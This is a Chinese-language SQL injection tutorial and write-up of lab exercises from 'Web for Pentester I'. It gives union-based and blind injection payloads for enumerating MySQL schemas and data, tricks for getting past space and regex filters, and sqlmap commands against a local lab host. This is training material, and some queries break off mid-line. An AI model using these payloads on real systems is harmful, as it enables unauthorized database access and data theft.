基于回显的手工注入
基本思路
WAF视角关键点
需要支持and
关键字
本节内容依赖数据库的写作方式如下,用户可控id。
1
| $sql = "select id, info from sqlinj where id=$id";
|
- 判断是否存在注入点
- 判断 column的 数量。 select * from stub_table order by 1
- 确定回显的列。 select 1,2,3,4,5
- 查询数据库基本信息
- 其他利用构造
- 查询数据
判断是否存在注入点
最简单的方式
1 2 3 4 5 6
| 1 and 1=1 1 and 1=2 1 1 1 1
|
判断 用户输入的代码 是否确实进入了 SQL 执行。
如果确实我们构造的代码进入了SQL的执行流程。
那么,
第一种情况应返回和正常查询数量一致的记录。
第二种情况应返回0条记录。
作为用户的视角则是
第一种情况浏览器显示的结果不变。
第二种情况浏览器显示的网页内容的结果数变为0,或者直接出错。
判断 column 的数量
用类似于此的语句测试
1 2 3 4
| id=101 order by 1 id=101 order by 2 id=101 order by 3 ...
|
直到数据库执行出错。
假设在order by 5
时出错,那么列的数量应该是4
。
确定回显的列
假设该表有6列。
1
| id=101 and 1=2 union select 1,2,3,4,5,6
|
查询数据库基本信息
假设该表有6列,回显的是第2列。
查询用户及数据库名称
1
| 101 and 1=2 union select 1,concat(current_user(),
|
查询表的数量
1
| 101 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database(),2,3,4,5,6
|
查询表名
1
| 101 and 1=2 union select 1,(table_name from information_schema.tables where table_schema=database() limit ?,1),2,3,4,5,6
|
查询列数量
1
| 101 and 1=2 union select 1,count(column_name) from information_schema.columns where table_name=
|
查询列名
1
| 101 and 1=2 union select 1,(column_name from information_schema.columns where table_name=
|
查询行数量
1
| 101 and 1=2 union select 1, count(1) from email
|
其他高级利用
略
查询数据
1
| 101 and 1=2 union select 1, (concat(userid,
|
基于布尔值的手工注入
在一些情况下,页面上是没有回显的。也就是说,不显示任何数据库中的信息。我们只能根据输出判断是否成功、失败、或者错误。这种情况就叫做盲注。
盲注的常见构造
查询用户及数据库名称
先确定数据库名称长度,根据 response 的长度的区别来判断是否正确
1 2 3 4
| 1 and (select length(database()))=1 1 and (select length(database()))=2 1 and (select length(database()))=3 1 and (select length(database()))=4
|
查询名称
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1 and (select substr(database(),$1,1))=$2 1 and (select substr(database(),1,1))=a 1 and (select substr(database(),1,1))=b 1 and (select substr(database(),1,1))=c 1 and (select substr(database(),1,1))=d 1 and (select substr(database(),2,1))=a 1 and (select substr(database(),2,1))=b 1 and (select substr(database(),2,1))=c 1 and (select substr(database(),2,1))=d 1 and (select substr(database(),3,1))=a 1 and (select substr(database(),3,1))=b 1 and (select substr(database(),3,1))=c 1 and (select substr(database(),3,1))=d
|
查询表的数量
1
| 1 and (select count(table_name) from information_schema.tables where table_schema=database())=?
|
查询表名
1
| 1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=?
|
查询列数量
1
| 1 and (select count(column_name) from information_schema.columns where table_name=
|
查询列名称
1
| 1 and (select length(column_name) from information_schema.columns where table_name=
|
查询行数量
1
| 1 and (select count(1) from email)=?
|
查询记录
1
| 1 and (select length(email) from email limit 0,1)=?
|
文本型注入点
假设源程序的SQL查询处的代码
1
| $sql = "select id, info from sqlinj where id='$id'";
|
那么在测试的时候就会出现1=1
和1=2
都存在的情况。
这时我们就不知道它是过滤了还是真的有注入点。所以我们可以修改参数,用一个单引号闭合前面的引号,再用一个注释符号(#
或者--
)来注释掉后面的引号:
1 2 3 4
| 1' and 1=1 1' and 1=2 1' order by ? ...
|
SQLi write up
判断注入点
是否存在注入点
字符串型 or 数字型
字符串型是以单引号分割还是以双引号分割
1 2 3 4 5 6 7 8 9 10
| name=root name=root1111 name=root + + # 空格加号 name=root%20+%20+ # 空格加号 name=root" # 双引号 name=root' # 单引号 id=1 id=2-1 # 测试减法 id=1+1 # 测试加法(似乎这一步没必要,因为URL encoding 会将+转义成空格) id=1%2b1 # 测试加法
|
Example 1
1 2 3 4 5 6
| name=root name=root1111 name=root + + name=root%20+%20+ name=root" # 0数据 name=root' # 出错
|
想象中的后端,可控是 root 部分
1
| select * from user where name=’root’
|
核心payload
1 2 3 4
| 1' or '1'='1 1' or '1'='1'---- # 不可行 1' or '1'='1'%2d%2d # 不可行 1' or '1'='1'%23 # 可行 %23 是 #
|
Example 2
测试发现不能输入空格。
思路,用无空格粘连
,%20
,+
,%2B
,\t(URL encode)
,\n(URL encode)
,/**/
的形式。
无空格粘连 (成功)
1 2
| 1'or'1'='1 1%27or%271%27=%271
|
%20
空格的URL编码 (失败,触发空格过滤)
%20
替代空格
1 2
| 1'%20or%20'1'='1 1%27%20or%20%271%27=%271
|
+
分割 (失败,触发空格过滤)
+
替代空格
1 2
| 1'+or+'1'='1 1%27+or+%271%27=%271
|
%2B
加号的URL编码 (失败,执行出错)
%2B
替代空格
1 2
| 1'%2Bor%2B'1'='1 1%27%2Bor%2B%271%27=%271
|
\t
简写 HT (Horizontal Tab) , %09
(成功)
HT替代空格
1 2
| 1'%09or%09'1'='1 1%27%09or%09%271%27=%271
|
\n
简写 LF (Line Feed, New Line), %0A
LF替代空格
1 2
| 1'%0Aor%0A'1'='1 1%27%0Aor%0A%271%27=%271
|
/**/
注释符替代空格 (成功)
1 2 3 4
| 1'or'1'='1 1%27or%271%27=%271 1'or'1'='1 1%27or%271%27=%271
|
可以进一步实验测试ASCII中所有的字符(尤其是不可见字符),看看还有哪些字符可能存在替代空格的可能性。
Example 3
使用\t
和\n
的在此处也失效了,但使用注释和无粘连依然可以通过。
Example 4
数字型注入
想象一下后端
1
| select * from user where id=123
|
payload
Example 5
考察正则表达式,防御端要求输入的参数必须以数字开头,不能是字符。
Example 6
根据正则表达式,参数的结尾必须以数字结尾,不能是字符
Example 7
根据正则表达式,参数的开头和结尾都很好的检测,关键在于/m,只是判断在同一行的参数
Example 8
order型注入判断源码结构
有两种order方式
1 2
| order by name order by `name`
|
我们可以这么测试 %23
是 #
注释符
1 2 3
| order=name%23 order=name`%23 order=name`desc%23
|
比如 payload 101 执行出错,payload 102 和 payload 103 执行成功。
说明后端采用的方式应该为
利用
order型需要盲注,利用时最好依赖 sqlmap
关键在于构造url
1 2
| %60 是 ` 的URL编码 order=name%60*
|
sqlmap命令
1
| ./sqlmap.py -u "http://192.168.1.102/sqli/example8.php?order=name%60*"
|
Example 9
与 Example 8 相似的方式判断
发现后端的结构应该是
构造方式
1 2
| order=name ./sqlmap.py -u "http://192.168.1.102/sqli/example8.php?order=name"
|
参考资料
Web for pentester I part 1
http://www.atomsec.org/%E5%AE%89%E5%85%A8/web_for_pentester_i-part-1/
米斯特白帽讲义 SQL注入
https://wizardforcel.gitbooks.io/mst-sec-lecture-notes/content/%E6%BC%8F%E6%B4%9E%E7%AF%87%20SQL%E6%B3%A8%E5%85%A5.html
The SQL Injection Knowledge Base
http://www.websec.ca/kb/sql_injection
新手指南:DVWA-1.9全级别教程之SQL Injection
http://www.freebuf.com/articles/web/120747.html
新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)
http://www.freebuf.com/articles/web/120985.html
SQLMap用户手册
http://blog.csdn.net/wizardforcel/article/details/50695931
http://blog.csdn.net/mydriverc2/article/details/41390319
MySQL 手工注入常用语句
http://blog.csdn.net/wizardforcel/article/details/59480461
Kali Linux Web 渗透测试秘籍 第六章 利用 – 低悬的果实
http://www.jianshu.com/p/bd3daa312fe5
Kali Linux Web 渗透测试秘籍 第七章 高级利用
http://www.jianshu.com/p/f671bc45b7f1